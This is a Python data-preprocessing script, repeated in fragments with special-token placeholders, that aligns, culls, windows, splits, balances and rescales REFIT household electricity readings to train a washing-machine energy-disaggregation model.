refit_cfg.train_validation[appliance_name ].items(): appliance_data = np.load(os.path.join(data_path, 'appliance_train_validation_%d.npy' % house_id)) main_data = np.load(os.path.join(data_path, 'main_train_validation_%d.npy' % house_id)) for i in appliance_data: appliance.append(i) for i in main_data: main.append(i) print(len(appliance)) print(len(main)) np.save(os.path.join(data_path, 'appliance_train_validation.npy'), appliance) np.save(os.path.join(data_path, 'main_train_validation.npy'), main) appliance_test = [] main_test = [] for house_id, channel_id in refit_cfg.test[appliance_name].items(): appliance_data = np.load(os.path.join(data_path, 'appliance_test_%d.npy' % house_id)) main_data = np.load(os.path.join(data_path, 'main_test_%d.npy' % house_id)) for i in appliance_data: appliance_test.append(i) for i in main_data: main_test.append(i) print(len(appliance_test)) print(len(main_test)) np.save(os.path.join(data_path, 'appliance_test.npy'), appliance_test) np.save(os.path.join(data_path, 'main_test.npy'), main_test) def positive_negative(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) count = 0 threshold = [0, 50, 100, 200, 500, 1000, 2000, 5000, 10000] d = {} for i in range(len(threshold)): d[threshold[i]] = 0 print(d) for th in threshold: for i in appliance_data: sum = 0 for j in i: sum += int(j) if sum > th: d[th] += 1 print('Thres %d complete!' % th) for thres, count in d.items(): print('Thres: %d %d/%d %f' % (thres, count, len(appliance_data), count / len(appliance_data))) def clip_view(appliance_name, thres): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) count = 0 for i in appliance_data: sum = 0 for j in i: sum += int(j) if sum > thres: plt.figure(figsize=(25, 10), dpi=100) plt.plot(i.astype(int)) savefig(os.path.join(base_path, 'clip_view\\%d.jpg' % count)) plt.close() count += 1 def test_process(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_test_512.npy')) temp = [0.0] * 512 new_app = [] for i in range(len(appliance_data)): max = np.max(appliance_data[i]) if max < 0.05: print(max) new_app.append(temp) else: new_app.append(appliance_data[i]) np.save(os.path.join(base_path, 'appliance_test_512.npy'), new_app) def separate_positive_negative(appliance_name, thres, peak): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) main_data = np.load(os.path.join(base_path, 'main_train.npy')) count = 0 appliance_positive = [] appliance_negative = [] main_positive = [] main_negative = [] appliance_temp = [0] * 1024 for i in range(len(appliance_data)): sum = 0 max = 0 for j in appliance_data[i]: sum += int(j) for j in range(512): if int(appliance_data[i][j + 256]) > max: max = int(appliance_data[i][j + 256]) if max < peak: sum = 0 if sum > thres: appliance_positive.append(appliance_data[i]) main_positive.append(main_data[i]) else: appliance_negative.append(appliance_temp) main_negative.append(main_data[i]) if i % 1000 == 0: print('Processing: %f' % (i / len(appliance_data))) np.save(os.path.join(base_path, 'appliance_positive.npy'), appliance_positive) np.save(os.path.join(base_path, 'main_positive.npy'), main_positive) np.save(os.path.join(base_path, 'appliance_negative.npy'), appliance_negative) np.save(os.path.join(base_path, 'main_negative.npy'), main_negative) def generate_balanced_dataset(appliance_name, negative_ratio): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_positive = list(np.load(os.path.join(base_path, 'appliance_positive.npy'))) appliance_negative = np.load(os.path.join(base_path, 'appliance_negative.npy')) main_positive = list(np.load(os.path.join(base_path, 'main_positive.npy'))) main_negative = np.load(os.path.join(base_path, 'main_negative.npy')) print('Data load complete!') positive_length = len(appliance_positive) negative_length = len(appliance_negative) print('Postive length: %d negative length: %d' % (positive_length, negative_length)) for i in range(int(positive_length * negative_ratio)): r = int(random.random() * negative_length) appliance_positive.append(appliance_negative[r]) main_positive.append(main_negative[r]) print('Data generate complete! length: %d' % len(appliance_positive)) index = np.linspace(0, len(appliance_positive) - 1, len(appliance_positive) ).astype(int) random.shuffle(index) appliance_new = [] main_new = [] for i in index: appliance_new.append(appliance_positive[i]) main_new.append(main_positive[i]) print('Data shuffle complete!') np.save(os.path.join(base_path, 'appliance_train_balanced.npy'), appliance_new) np.save(os.path.join(base_path, 'main_train_balanced.npy'), main_new) print('Data save complete!') def shrink(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train_balanced.npy')) main_data = np.load(os.path.join(base_path, 'main_train_balanced.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_train_%d.npy' % scale), appliance_new) np.save(os.path.join(base_path, 'main_train_%d.npy' % scale), main_new) def shrink_validation(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_validation.npy')) main_data = np.load(os.path.join(base_path, 'main_validation.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_validation_%d.npy' % scale), appliance_new) np.save(os.path.join(base_path, 'main_validation_%d.npy' % scale), main_new ) def appliance_1024to512(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_train = np.load(os.path.join(base_path, 'appliance_train_1000.npy')) appliance_validation = np.load(os.path.join(base_path, 'appliance_validation_1000.npy')) appliance_test = np.load(os.path.join(base_path, 'appliance_test_1000.npy') ) at_new = [] av_new = [] ae_new = [] for i in range(len(appliance_train)): at_temp = [] for j in range(256, 768): at_temp.append(float(appliance_train[i][j])) at_new.append(at_temp) for i in range(len(appliance_validation)): av_temp = [] for j in range(256, 768): av_temp.append(float(appliance_validation[i][j])) av_new.append(av_temp) for i in range(len(appliance_test)): ae_temp = [] for j in range(256, 768): ae_temp.append(float(appliance_test[i][j])) ae_new.append(ae_temp) np.save(os.path.join(base_path, 'appliance_train_512.npy'), at_new) np.save(os.path.join(base_path, 'appliance_validation_512.npy'), av_new) np.save(os.path.join(base_path, 'appliance_test_512.npy'), ae_new) def shrink_test(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_test.npy')) main_data = np.load(os.path.join(base_path, 'main_test.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_test_1000.npy'), appliance_new) np.save(os.path.join(base_path, 'main_test_1000.npy'), main_new) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> sys.path.append('preprocess') <|reserved_special_token_0|> matplotlib.use('TkAgg') <|reserved_special_token_0|> def align_process(house_id): data = np.load('data\\REFIT\\original_data\\%d.npy' % house_id) new_data = [] current_index = 0 current_time = int(data[0][0]) end_time = int(data[-1][0]) + 8 interval_threshold = refit_cfg.separation_threshold isend = 0 data_length = len(data) while current_time <= end_time: current_interval = int(data[current_index + 1][0]) - int(data[ current_index][0]) if current_interval < interval_threshold: if current_time > int(data[current_index][0]): temp_index = current_index + 1 while current_time > int(data[temp_index][0]): temp_index += 1 if temp_index > data_length - 1: temp_index -= 1 break if abs(current_time - int(data[temp_index - 1][0])) > abs( int(data[temp_index][0]) - current_time): current_index = temp_index if temp_index == data_length - 1: print('The end!') isend = 1 else: current_index = temp_index - 1 t = [] for element in data[current_index]: t.append(element) t[0] = current_time new_data.append(t) if isend == 1: break current_time += 8 if current_index % 1000 == 0: print('House %d processing: %f' % (house_id, current_index / data_length)) else: current_index += 1 current_time = int(data[current_index][0]) np.save('data\\REFIT\\after_align\\%d.npy' % house_id, new_data) def visual(house_id, channel_id, start, length): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) print(len(data)) target = [] c = channel_id + 1 for r in data: target.append(int(r[c])) y = target[start:start + length] plt.plot(y) plt.show() def diff(house_id): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) d = [] for i in range(len(data) - 1): d.append(int(data[i + 1][0]) - int(data[i][0])) plt.plot(d) plt.show() plt.close() def appliance_separation(dict, appliance_name): path = 'data\\REFIT\\appliance_data\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, channel_id in dict.items(): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) appliance_data = [] for row in data: appliance_data.append([row[1], row[channel_id + 1]]) np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)), appliance_data) print('Appliance %s House %d complete!' % (appliance_name, house_id)) def show_appliance(house_id, appliance_name): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_align\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id)) print(len(data)) mains = [] app = [] for i in data: mains.append(int(i[0])) app.append(int(i[1])) plt.figure(figsize=(20, 8)) plt.plot(mains) plt.plot(app) plt.show() def cull(cull_dict): for appliance_name, _dict in cull_dict.items(): path = 'data\\REFIT\\after_culling\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, cull_list in _dict.items(): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_align\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id)) new_data = [] _cull_list = [[0, cull_list[0][0]]] for i in range(len(cull_list) - 1): _cull_list.append([cull_list[i][1], cull_list[i + 1][0]]) _cull_list.append([cull_list[-1][1], len(data) - 1]) for i in _cull_list: if i[1] - i[0] != 0: for j in range(i[0], i[1]): new_data.append(data[j]) np.save('data\\REFIT\\after_culling\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id), new_data) print('House %d %s complete!' % (house_id, appliance_name)) def appliance_separation(dict, appliance_name): """ 将各个电器的数据进行分解,放置到appliance_data文件夹下对应电器的文件夹中,以house_id和channel_id进行命名 :param dict: 电器数据来源 :param appliance_name: 当前电器的名称,用以创建文件夹 :return: """ path = 'data\\REFIT\\appliance_data\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, channel_id in dict.items(): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) appliance_data = [] for row in data: appliance_data.append([row[1], row[channel_id + 1]]) np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)), appliance_data) print('Appliance %s House %d complete!' % (appliance_name, house_id)) def show_appliance(house_id, appliance_name): """ 具体观察每个电器的图形表示,将大段的数据缺失或者数据错误进行标注,构造cull_dict字典,在cull进行片段删除 :param house_id: :param appliance_name: :return: """ channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_culling\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id)) print(len(data)) mains = [] app = [] for i in data: mains.append(int(i[0])) app.append(int(i[1])) plt.figure(figsize=(20, 8)) plt.plot(mains) plt.plot(app) plt.show() def cull(cull_dict): """ 根据画的图,将大段的空缺段进行删除,删除之后,需要进行比对 :param cull_dict: :return: """ for appliance_name, _dict in cull_dict.items(): path = 'data\\REFIT\\after_culling_2\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, cull_list in _dict.items(): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_culling_2\\%s\\%d_%d.npy' % (appliance_name, house_id, channel_id)) new_data = [] _cull_list = [[0, cull_list[0][0]]] for i in range(len(cull_list) - 1): _cull_list.append([cull_list[i][1], cull_list[i + 1][0]]) _cull_list.append([cull_list[-1][1], len(data) - 1]) for i in _cull_list: if i[1] - i[0] != 0: for j in range(i[0], i[1]): new_data.append(data[j]) np.save('data\\REFIT\\after_culling_2\\%s\\%d_%d.npy' % ( appliance_name, house_id, channel_id), new_data) print('House %d %s complete!' % (house_id, appliance_name)) def separate(appliance_name): window_width = refit_cfg.window_width[appliance_name] data_path = 'data\\REFIT\\after_culling\\%s' % appliance_name count = 0 appliance_train_validation = [] appliance_test = [] main_train_validation = [] main_test = [] for house_id, channel_id in refit_cfg.train_validation[appliance_name ].items(): appliance_train_validation.clear() main_train_validation.clear() data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id))) current_head = 0 data_length = len(data) end = data_length - window_width - 1 while current_head < end: temp_main = [] temp_appliance = [] for i in range(current_head, current_head + window_width): temp_main.append(data[i][0]) temp_appliance.append(data[i][1]) r = random.random() current_head += int(window_width * r) appliance_train_validation.append(temp_appliance) main_train_validation.append(temp_main) count += 1 if count % 1000 == 0: print('T & V 1: House %d %f' % (house_id, current_head / data_length)) data_length -= window_width random_clip = refit_cfg.random_clip[appliance_name] for i in range(random_clip): r = random.random() start = int(r * data_length) temp_main = [] temp_appliance = [] for j in range(start, start + window_width): temp_main.append(data[j][0]) temp_appliance.append(data[j][1]) appliance_train_validation.append(temp_appliance) main_train_validation.append(temp_main) count += 1 if count % 1000 == 0: print('T & V 2: House %d %f' % (house_id, i / random_clip)) print('Train & Validation: House %d %s complete!' % (house_id, appliance_name)) np.save(os.path.join(data_path, '1024\\appliance_train_validation_%d.npy' % house_id), appliance_train_validation) np.save(os.path.join(data_path, '1024\\main_train_validation_%d.npy' % house_id), main_train_validation) count = 0 for house_id, channel_id in refit_cfg.test[appliance_name].items(): appliance_test.clear() main_test.clear() data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id))) current_head = 0 data_length = len(data) end = data_length - window_width - 1 while current_head < end: temp_main = [] temp_appliance = [] for i in range(current_head, current_head + window_width): temp_main.append(data[i][0]) temp_appliance.append(data[i][1]) r = random.random() current_head += int(r * window_width) appliance_test.append(temp_appliance) main_test.append(temp_main) count += 1 if count % 1000 == 0: print('Test 1: House %d %f' % (house_id, current_head / data_length)) data_length -= window_width for i in range(refit_cfg.random_clip[appliance_name]): r = random.random() start = int(r * data_length) temp_main = [] temp_appliance = [] for j in range(start, start + window_width): temp_main.append(data[j][0]) temp_appliance.append(data[j][1]) appliance_test.append(temp_appliance) main_test.append(temp_main) count += 1 if count % 1000 == 0: print('Test 2: House %d %f' % (house_id, i / data_length)) print('Test 2: House %d %s complete!' % (house_id, appliance_name)) np.save(os.path.join(data_path, '1024\\appliance_test_%d.npy' % house_id), appliance_test) np.save(os.path.join(data_path, '1024\\main_test_%d.npy' % house_id ), main_test) def clip_visual(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train_.npy')) main_data = np.load(os.path.join(base_path, 'main_train_.npy')) print('Data load complete!') loop = 1000 x = np.linspace(256, 768, 512) length = len(appliance_data) for i in range(loop): r = int(random.random() * length) plt.figure(figsize=(25, 10), dpi=100) plt.subplot(211) plt.xlim(0, 1024) plt.plot(main_data[r]) plt.subplot(212) plt.xlim(0, 1024) plt.plot(x, appliance_data[r]) savefig(os.path.join(base_path, 'clip_view\\%d.jpg' % i)) plt.close() def train_validation_split(appliance_name): data_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance = np.load(os.path.join(data_path, 'appliance_train_validation.npy')) main = np.load(os.path.join(data_path, 'main_train_validation.npy')) appliance_train, appliance_validation, main_train, main_validation = ( train_test_split(appliance, main, test_size=0.2)) print(len(appliance_train)) print(len(main_train)) np.save(os.path.join(data_path, 'appliance_train.npy'), appliance_train) np.save(os.path.join(data_path, 'main_train.npy'), main_train) np.save(os.path.join(data_path, 'appliance_validation.npy'), appliance_validation) np.save(os.path.join(data_path, 'main_validation.npy'), main_validation) def data_integration(appliance_name): data_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance = [] main = [] for house_id, channel_id in refit_cfg.train_validation[appliance_name ].items(): appliance_data = np.load(os.path.join(data_path, 'appliance_train_validation_%d.npy' % house_id)) main_data = np.load(os.path.join(data_path, 'main_train_validation_%d.npy' % house_id)) for i in appliance_data: appliance.append(i) for i in main_data: main.append(i) print(len(appliance)) print(len(main)) np.save(os.path.join(data_path, 'appliance_train_validation.npy'), appliance) np.save(os.path.join(data_path, 'main_train_validation.npy'), main) appliance_test = [] main_test = [] for house_id, channel_id in refit_cfg.test[appliance_name].items(): appliance_data = np.load(os.path.join(data_path, 'appliance_test_%d.npy' % house_id)) main_data = np.load(os.path.join(data_path, 'main_test_%d.npy' % house_id)) for i in appliance_data: appliance_test.append(i) for i in main_data: main_test.append(i) print(len(appliance_test)) print(len(main_test)) np.save(os.path.join(data_path, 'appliance_test.npy'), appliance_test) np.save(os.path.join(data_path, 'main_test.npy'), main_test) def positive_negative(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) count = 0 threshold = [0, 50, 100, 200, 500, 1000, 2000, 5000, 10000] d = {} for i in range(len(threshold)): d[threshold[i]] = 0 print(d) for th in threshold: for i in appliance_data: sum = 0 for j in i: sum += int(j) if sum > th: d[th] += 1 print('Thres %d complete!' % th) for thres, count in d.items(): print('Thres: %d %d/%d %f' % (thres, count, len(appliance_data), count / len(appliance_data))) def clip_view(appliance_name, thres): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) count = 0 for i in appliance_data: sum = 0 for j in i: sum += int(j) if sum > thres: plt.figure(figsize=(25, 10), dpi=100) plt.plot(i.astype(int)) savefig(os.path.join(base_path, 'clip_view\\%d.jpg' % count)) plt.close() count += 1 def test_process(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_test_512.npy')) temp = [0.0] * 512 new_app = [] for i in range(len(appliance_data)): max = np.max(appliance_data[i]) if max < 0.05: print(max) new_app.append(temp) else: new_app.append(appliance_data[i]) np.save(os.path.join(base_path, 'appliance_test_512.npy'), new_app) def separate_positive_negative(appliance_name, thres, peak): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) main_data = np.load(os.path.join(base_path, 'main_train.npy')) count = 0 appliance_positive = [] appliance_negative = [] main_positive = [] main_negative = [] appliance_temp = [0] * 1024 for i in range(len(appliance_data)): sum = 0 max = 0 for j in appliance_data[i]: sum += int(j) for j in range(512): if int(appliance_data[i][j + 256]) > max: max = int(appliance_data[i][j + 256]) if max < peak: sum = 0 if sum > thres: appliance_positive.append(appliance_data[i]) main_positive.append(main_data[i]) else: appliance_negative.append(appliance_temp) main_negative.append(main_data[i]) if i % 1000 == 0: print('Processing: %f' % (i / len(appliance_data))) np.save(os.path.join(base_path, 'appliance_positive.npy'), appliance_positive) np.save(os.path.join(base_path, 'main_positive.npy'), main_positive) np.save(os.path.join(base_path, 'appliance_negative.npy'), appliance_negative) np.save(os.path.join(base_path, 'main_negative.npy'), main_negative) def generate_balanced_dataset(appliance_name, negative_ratio): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_positive = list(np.load(os.path.join(base_path, 'appliance_positive.npy'))) appliance_negative = np.load(os.path.join(base_path, 'appliance_negative.npy')) main_positive = list(np.load(os.path.join(base_path, 'main_positive.npy'))) main_negative = np.load(os.path.join(base_path, 'main_negative.npy')) print('Data load complete!') positive_length = len(appliance_positive) negative_length = len(appliance_negative) print('Postive length: %d negative length: %d' % (positive_length, negative_length)) for i in range(int(positive_length * negative_ratio)): r = int(random.random() * negative_length) appliance_positive.append(appliance_negative[r]) main_positive.append(main_negative[r]) print('Data generate complete! length: %d' % len(appliance_positive)) index = np.linspace(0, len(appliance_positive) - 1, len(appliance_positive) ).astype(int) random.shuffle(index) appliance_new = [] main_new = [] for i in index: appliance_new.append(appliance_positive[i]) main_new.append(main_positive[i]) print('Data shuffle complete!') np.save(os.path.join(base_path, 'appliance_train_balanced.npy'), appliance_new) np.save(os.path.join(base_path, 'main_train_balanced.npy'), main_new) print('Data save complete!') def shrink(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train_balanced.npy')) main_data = np.load(os.path.join(base_path, 'main_train_balanced.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_train_%d.npy' % scale), appliance_new) np.save(os.path.join(base_path, 'main_train_%d.npy' % scale), main_new) def shrink_validation(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_validation.npy')) main_data = np.load(os.path.join(base_path, 'main_validation.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_validation_%d.npy' % scale), appliance_new) np.save(os.path.join(base_path, 'main_validation_%d.npy' % scale), main_new ) def appliance_1024to512(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_train = np.load(os.path.join(base_path, 'appliance_train_1000.npy')) appliance_validation = np.load(os.path.join(base_path, 'appliance_validation_1000.npy')) appliance_test = np.load(os.path.join(base_path, 'appliance_test_1000.npy') ) at_new = [] av_new = [] ae_new = [] for i in range(len(appliance_train)): at_temp = [] for j in range(256, 768): at_temp.append(float(appliance_train[i][j])) at_new.append(at_temp) for i in range(len(appliance_validation)): av_temp = [] for j in range(256, 768): av_temp.append(float(appliance_validation[i][j])) av_new.append(av_temp) for i in range(len(appliance_test)): ae_temp = [] for j in range(256, 768): ae_temp.append(float(appliance_test[i][j])) ae_new.append(ae_temp) np.save(os.path.join(base_path, 'appliance_train_512.npy'), at_new) np.save(os.path.join(base_path, 'appliance_validation_512.npy'), av_new) np.save(os.path.join(base_path, 'appliance_test_512.npy'), ae_new) def shrink_test(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_test.npy')) main_data = np.load(os.path.join(base_path, 'main_test.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j]) / scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j]) / scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_test_1000.npy'), appliance_new) np.save(os.path.join(base_path, 'main_test_1000.npy'), main_new) if __name__ == '__main__': appliance_name = 'WashingMachine' separate(appliance_name) data_integration(appliance_name) train_validation_split(appliance_name) separate_positive_negative(appliance_name, 1500, 20) generate_balanced_dataset(appliance_name, 1) shrink(appliance_name, 1000) shrink_validation(appliance_name, 1000) shrink_test(appliance_name, 1000) appliance_1024to512(appliance_name) print('Process complete!!!') <|reserved_special_token_1|> import sys sys.path.append('preprocess') import matplotlib matplotlib.use("TkAgg") import matplotlib.pyplot as plt from matplotlib.pyplot import savefig import numpy as np import refit_cfg import os import random from sklearn.model_selection import train_test_split name = ['WashingMachine', 'Kettle', 'Microwave', 'Fridge', 'Dishwasher'] appliance_dict = { 'WashingMachine': refit_cfg.washingmachine, 'Kettle': refit_cfg.kettle, 'Microwave': refit_cfg.microwave, 'Fridge': refit_cfg.fridge, 'Dishwasher': refit_cfg.dishwasher } def align_process(house_id): data = np.load('data\\REFIT\\original_data\\%d.npy' % house_id) new_data = [] current_index = 0 current_time = int(data[0][0]) end_time = int(data[-1][0]) + 8 interval_threshold = refit_cfg.separation_threshold isend = 0 data_length = len(data) while current_time <= end_time: current_interval = int(data[current_index+1][0]) - int(data[current_index][0]) if current_interval < interval_threshold: # small interval if current_time > int(data[current_index][0]): temp_index = current_index + 1 while current_time > int(data[temp_index][0]): temp_index += 1 if temp_index > (data_length-1): temp_index -= 1 break if abs(current_time - int(data[temp_index-1][0])) > abs(int(data[temp_index][0])-current_time): current_index = temp_index if temp_index == (data_length-1): print('The end!') isend = 1 else: current_index = temp_index - 1 t = [] for element in data[current_index]: t.append(element) t[0] = current_time new_data.append(t) if isend == 1: break current_time += 8 if current_index % 1000 == 0: print('House %d processing: %f' % (house_id, current_index/data_length)) else: # big interval current_index += 1 current_time = int(data[current_index][0]) np.save('data\\REFIT\\after_align\\%d.npy' % house_id, new_data) def visual(house_id, channel_id, start, length): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) print(len(data)) target = [] c = channel_id+1 for r in data: target.append(int(r[c])) y = target[start:start+length] plt.plot(y) plt.show() def diff(house_id): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) d = [] for i in range(len(data)-1): d.append(int(data[i+1][0])-int(data[i][0])) plt.plot(d) plt.show() plt.close() def appliance_separation(dict, appliance_name): path = 'data\\REFIT\\appliance_data\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, channel_id in dict.items(): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) appliance_data = [] for row in data: appliance_data.append([row[1], row[channel_id+1]]) np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)), appliance_data) print('Appliance %s House %d complete!' % (appliance_name, house_id)) def show_appliance(house_id, appliance_name): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_align\\%s\\%d_%d.npy' % (appliance_name, house_id, channel_id)) print(len(data)) mains = [] app = [] for i in data: mains.append(int(i[0])) app.append(int(i[1])) plt.figure(figsize=(20, 8)) plt.plot(mains) plt.plot(app) plt.show() def cull(cull_dict): for appliance_name, _dict in cull_dict.items(): path = 'data\\REFIT\\after_culling\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, cull_list in _dict.items(): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_align\\%s\\%d_%d.npy' % (appliance_name, house_id, channel_id)) new_data = [] _cull_list = [[0, cull_list[0][0]]] for i in range(len(cull_list)-1): _cull_list.append([cull_list[i][1], cull_list[i+1][0]]) _cull_list.append([cull_list[-1][1], (len(data)-1)]) for i in _cull_list: if i[1] - i[0] != 0: for j in range(i[0], i[1]): new_data.append(data[j]) np.save('data\\REFIT\\after_culling\\%s\\%d_%d.npy' % (appliance_name, house_id, channel_id), new_data) print('House %d %s complete!' % (house_id, appliance_name)) def appliance_separation(dict, appliance_name): """ 将各个电器的数据进行分解,放置到appliance_data文件夹下对应电器的文件夹中,以house_id和channel_id进行命名 :param dict: 电器数据来源 :param appliance_name: 当前电器的名称,用以创建文件夹 :return: """ path = 'data\\REFIT\\appliance_data\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, channel_id in dict.items(): data = np.load('data\\REFIT\\after_align\\%d.npy' % house_id) appliance_data = [] for row in data: appliance_data.append([row[1], row[channel_id+1]]) # 将mains 和 appliance 作为一条单独的记录 np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)), appliance_data) print('Appliance %s House %d complete!' % (appliance_name, house_id)) def show_appliance(house_id, appliance_name): """ 具体观察每个电器的图形表示,将大段的数据缺失或者数据错误进行标注,构造cull_dict字典,在cull进行片段删除 :param house_id: :param appliance_name: :return: """ channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_culling\\%s\\%d_%d.npy' % (appliance_name, house_id, channel_id)) print(len(data)) mains = [] app = [] for i in data: mains.append(int(i[0])) app.append(int(i[1])) plt.figure(figsize=(20, 8)) plt.plot(mains) plt.plot(app) plt.show() def cull(cull_dict): """ 根据画的图,将大段的空缺段进行删除,删除之后,需要进行比对 :param cull_dict: :return: """ for appliance_name, _dict in cull_dict.items(): path = 'data\\REFIT\\after_culling_2\\%s' % appliance_name if not os.path.exists(path): os.mkdir(path) for house_id, cull_list in _dict.items(): channel_id = appliance_dict[appliance_name][house_id] data = np.load('data\\REFIT\\after_culling_2\\%s\\%d_%d.npy' % (appliance_name, house_id, channel_id)) new_data = [] # 对cull_list进行变形,变成表征合理数据的区间 _cull_list = [[0, cull_list[0][0]]] for i in range(len(cull_list)-1): _cull_list.append([cull_list[i][1], cull_list[i+1][0]]) _cull_list.append([cull_list[-1][1], (len(data)-1)]) for i in _cull_list: if i[1] - i[0] != 0: for j in range(i[0], i[1]): new_data.append(data[j]) np.save('data\\REFIT\\after_culling_2\\%s\\%d_%d.npy' % (appliance_name, house_id, channel_id), new_data) print('House %d %s complete!' % (house_id, appliance_name)) def separate(appliance_name): window_width = refit_cfg.window_width[appliance_name] data_path = 'data\\REFIT\\after_culling\\%s' % appliance_name count = 0 appliance_train_validation = [] appliance_test = [] main_train_validation = [] main_test = [] for house_id, channel_id in refit_cfg.train_validation[appliance_name].items(): # train & validation appliance_train_validation.clear() main_train_validation.clear() data = np.load(os.path.join(data_path, 